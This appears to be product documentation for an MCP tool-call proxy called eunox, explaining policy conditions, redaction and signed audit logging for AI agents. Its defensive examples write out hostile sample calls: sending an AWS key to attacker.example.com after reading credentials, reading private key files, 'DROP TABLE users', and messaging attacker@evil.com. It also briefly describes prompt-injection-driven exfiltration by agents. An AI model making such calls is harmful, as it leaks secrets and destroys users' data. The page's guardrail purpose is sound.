Features

Conditions & directives

Every guardrail you can attach to a capability — conditions block before the upstream is contacted, directives apply obligations after an allowed response — with a worked example for each.

Conditions

Directives

Observability

Every condition runs before the upstream is contacted. Decisions return a structured JSON-RPC error with a stable integer code (-32001 AUTHORIZATION_FAILED, -32002 CAPABILITY_DENIED, -32003 CONDITION_FAILED, -32602 INVALID_PARAMS), the conditionType that fired, and a human-readable message — so agents and operators can both reason about the outcome. Directives (e.g. redactFields) are obligations applied after an allowed response, before it reaches the agent.

sequenceBlock — cross-tool session memory

The condition no other layer can express: deny a tool after another tool has run in the same session. This is the defense against the lethal trifecta — an agent that can read secrets and reach an external destination is one prompt injection away from exfiltrating them. Each call is individually authorized; eunox blocks the combination. A database role or API gateway can't see it — only the proxy remembers what the agent already did this session.

Block credential exfiltration (read → write)

sequenceBlock
Tool calls (same session)
tools/call read_credentials { name: "aws" }   # allowed
tools/call write_external   {            # DENIED
  url: "https://attacker.example.com",
  data: "AKIA..."
}
Policy
- target: tool:read_credentials
  actions: [call]

- target: tool:write_external
  actions: [call]
  conditions:
    - type: sequenceBlock
      afterTools: [read_credentials]
Outcome: CONDITION_FAILED (JSON-RPC -32003) · write_external after read_credentials — upstream never contacted, the kill-chain signed into the audit log. The reverse order (write before read) stays allowed. Run it: make -C demo trifecta.

argumentSchema — JSON Schema validation

Validate the shape of the agent's arguments before anything else runs. The structured error details are surfaced in the MCP response.

Reject a malformed send_email call

argumentSchema
Tool call from the agent
tools/call send_email {
  to: "alice@example.com",
  body: 42                # wrong type
}
Policy
# argumentSchema is a top-level field on the capability constraint,
# not a `conditions[]` entry. The schema body goes here directly.
- target: tool:send_email
  actions: [call]
  argumentSchema:
    type: object
    required: [to, body]
    properties:
      to:   { type: string }
      body: { type: string, maxLength: 10000 }
    additionalProperties: false
Outcome: INVALID_PARAMS (JSON-RPC -32602) · body must be string — upstream never contacted. argumentSchema runs before any conditions[]; a schema failure always wins.

allowedValues — argument value / glob allowlist

The workhorse condition: pin a named argument to a fixed set of scalar values, or to glob patterns. String values match as globs — a single * stays within a path segment, ** crosses / — so "/reports/*" admits /reports/q3.pdf but not /internal/keys.pem. This is the condition behind the canonical "read_file only under /reports/" policy.

Confine read_file to /reports/

allowedValues
Tool call
tools/call read_file {
  path: "/internal/keys.pem"
}
Policy
- target: tool:read_file
  actions: [call]
  conditions:
    - type: allowedValues
      argument: path
      values: ["/reports/*"]
Outcome: VALUE_NOT_PERMITTED (JSON-RPC -32003) · /internal/keys.pem ∉ [/reports/*] — upstream never contacted. A missing path argument fails closed with MISSING_CONTEXT; string values match by glob only (never exact-first), so values: ["*"] is the explicit allow-any-string wildcard.

allowedOperations — SQL verb allowlist

The classic database guardrail: only let agents run reads. The first whitespace-separated word of the input is matched against the allowlist.

Block DROP TABLE

allowedOperations
Tool call
tools/call query_db {
  sql: "DROP TABLE users"
}
Policy
conditions:
  - type: allowedOperations
    argument: sql
    operations: [SELECT]
Outcome: OPERATION_NOT_PERMITTED (JSON-RPC -32003) · operation DROP not in [SELECT]. Note this is a first-word guard — pair with argumentSchema for stricter SQL parsing if you need it.

allowedExtensions — file extension allowlist

Constrain what file types an agent can touch. The required argument field names the path parameter to check (a single path, or an array of paths).

Block reading a private key

allowedExtensions
Tool call
tools/call read_file {
  path: "/data/keys.pem"
}
Policy
conditions:
  - type: allowedExtensions
    argument: path
    extensions:
      [".csv", ".json", ".txt", ".md"]
Outcome: CONDITION_FAILED (JSON-RPC -32003, conditionType allowedExtensions) · .pem ∉ allowedExtensions.

allowedTables — database table allowlist

Restrict which tables an agent can read or write to. The required argument field names the parameter carrying the table name(s) — a string, an array, or a {table, columns} object.

Block writes to credentials

allowedTables
Tool call
tools/call insert_row {
  table: "credentials",
  row: { ... }
}
Policy
conditions:
  - type: allowedTables
    argument: table
    tables:
      [orders, customers, products]
Outcome: CONDITION_FAILED (JSON-RPC -32003, conditionType allowedTables) · credentials ∉ allowedTables.

maxCalls — per-session rate limit

Stop a runaway agent from making thousands of writes in a tight loop. Counter resets when the window expires.

Cap GitHub write tools

maxCalls
Tool calls
tools/call create_issue { ... }   ✓ 1/10
tools/call create_issue { ... }   ✓ 2/10
   ...
tools/call create_issue { ... }   ✓ 10/10
tools/call create_issue { ... }   ✗ rate limited
Policy
conditions:
  - type: maxCalls
    count: 10
    windowSeconds: 60
Outcome: RATE_LIMITED (JSON-RPC -32003) · 10 calls/60s exhausted.

timeWindow — wall-clock gate

notBefore / notAfter for time-bound capabilities (e.g. a maintenance window).

Only during the maintenance window

timeWindow
Tool call (at 09:15)
tools/call truncate_logs { ... }
Policy
conditions:
  - type: timeWindow
    notBefore: "2026-05-09T01:00:00Z"
    notAfter:  "2026-05-09T03:00:00Z"
Outcome: CONDITION_FAILED (JSON-RPC -32003, conditionType timeWindow) · now=09:15 not in [01:00, 03:00].

ipRange — source-IP CIDR allowlist

HTTP transport only — stdio sessions have no source IP. Useful for caller-network controls in shared environments.

Lock a tool to corp egress

ipRange
Tool call (over HTTP)
sourceIp: 203.0.113.7
tools/call rotate_token { ... }
Policy
conditions:
  - type: ipRange
    cidrs: ["10.0.0.0/8", "192.168.0.0/16"]
Outcome: CONDITION_FAILED (JSON-RPC -32003, conditionType ipRange). With a stdio session there is no source IP, so the same condition fails closed with MISSING_CONTEXT — reason "ipRange requires sourceIp in request context".

recipientDomain — email / handle allowlist

Stop accidental data exfiltration over messaging tools. The required argument field names the recipient parameter to check — a string or an array of strings.

Slack DM only to your domain

recipientDomain
Tool call
tools/call send_message {
  to:   "attacker@evil.com",
  text: "..."
}
Policy
conditions:
  - type: recipientDomain
    argument: to
    domains: [company.com]
Outcome: CONDITION_FAILED (JSON-RPC -32003, conditionType recipientDomain) · evil.com ∉ allowlist.

redactFields — mask fields in upstream responses

A post-allow directive: the call is allowed, but the named JSON paths are masked in the upstream response — each value replaced with "[redacted]", the key kept — before the agent sees it. redactFields lives in a top-level directives[] array on the constraint — not inside conditions[]. An unparseable upstream response is never returned unredacted; a sanitized error is sent to the caller instead.

Hide PII from query results

redactFields
Upstream response
{
  "rows": [
    {   "id": 1,
      "email": "alice@example.com",
      "ssn": "123-45-6789" },
    ...
  ]
}
Policy
- target: tool:query_db
  actions: [call]
  # directives run after an allowed response
  directives:
    - type: redactFields
      fields:
        ["rows.ssn",
         "rows.email"]
Outcome: response forwarded with the named dotted-path fields replaced by "[redacted]" (recursively into array elements); the original is never seen by the agent. A field absent from the response is a no-op.

policy — delegate to an external engine (Go SDK)

Plug in OPA, Cedar, an authorization service, or any sidecar. Implement enforcement.PolicyEvaluator and wire it into the engine at construction time. Available via pkg/enforcement for in-process Go services.

OPA-backed authorization

policy
Go evaluator
// implement enforcement.PolicyEvaluator
type OPAEvaluator struct { Path string }

func (o *OPAEvaluator) Evaluate(
  ctx context.Context,
  cfg map[string]any,
  req *capability.EnforceRequest,
) (*enforcement.PolicyResult, error) {
  ok, err := opa.Eval(o.Path, req)
  if !ok {
    return &enforcement.PolicyResult{
      Allow: false, Reason: "opa: denied",
    }, err
  }
  return &enforcement.PolicyResult{Allow: true}, nil
}
Policy + wiring
# eunox.policy.yaml
conditions:
  - type: policy
    backend: opa
    config:
      path: data.tools.allow

// wire in Go
engine := enforcement.New(
  enforcement.WithPolicyEvaluator(
    &OPAEvaluator{Path: "data.tools.allow"},
  ),
)
Outcome: the engine delegates the decision to your evaluator; a missing or panicking evaluator fails closed — the call is denied.

custom — register your own condition types (Go SDK)

Need something specific to your domain? Implement enforcement.ConditionHandler and register it with the engine by name. Any policy entry with type: custom and a matching name resolves to your handler.

Block recipients on a deny-list

custom
Go handler
enforcement.New(
  enforcement.WithConditionHandler(
    capability.ConditionTypeCustom,
    enforcement.ConditionHandlerFunc(
      func(ctx context.Context,
        cond capability.Condition,
        req *capability.EnforceRequest,
      ) *enforcement.ConditionError {
        cc := cond.(*capability.CustomCondition)
        if cc.Name == "denyBlockedRecipient" &&
          BLOCKLIST.Has(req.Arguments["to"]) {
          return &enforcement.ConditionError{
            Code:    "RECIPIENT_BLOCKED",
            Message: "recipient blocked",
          }
        }
        return nil // allow
      },
    ),
  ),
)
Policy
conditions:
  - type: custom
    name: denyBlockedRecipient
    config: {}
Outcome: handler-defined deny code surfaces in the OCSF audit log alongside built-in conditions. Missing handler → fail-closed deny.

OCSF audit log

Every decision is recorded as an OCSF API Activity event (class_uid 6003), HMAC-SHA256-signed with a key under ~/.eunox/audit.key (mode 0600). The log lives at ~/.eunox/audit.jsonl and rotates at 100 MiB; rotated files are named audit.jsonl.<ISO-timestamp>.

In gateway mode, each record is additionally stamped with the handling upstream, the in-force policy_version, and a policy_sha256 digest — so one shared tape proves which policy version of which upstream decided each call.

Inspect & verify

audit
Tail and aggregate
$ tail -F ~/.eunox/audit.jsonl | jq

$ eunox-mcp stats
denial histogram (since rotation):
  allowedExtensions       12 ███████
  allowedOperations        7 ████
  recipientDomain          3 ██
  argumentSchema           1 █
Sample event
{
  "class_uid": 6003,
  "metadata": {
    "uid": "ev-7b…",
    "version": "1.4.0"
  },
  "activity_id": 2,
  "status_id": 2,
  "api": { "operation":
    "tools/call:read_file" },
  "src_endpoint": { "ip": "stdio" },
  "raw_data": "<canonical-json>",
  "signature": "<hmac-sha256>"
}
Verify: verifyAuditEvent() recomputes HMAC(key, SHA-256(canonical-json)) for round-trip integrity checks.

Go packages — same enforcement, in-process

All Apache-2.0. Services can evaluate manifests without shelling out to a separate proxy process.

If a service evaluates a manifest that only allows SELECT, the same OPERATION_NOT_PERMITTED decision is raised before any database call is made.

Schema parity. The manifest format follows the MCP Capability Manifest Specification. The policy file is shared across eunox-mcp, pkg/capability, and pkg/enforcement — exactly one shape, zero drift between the proxy and the rest of the system.

Try it in 60 seconds →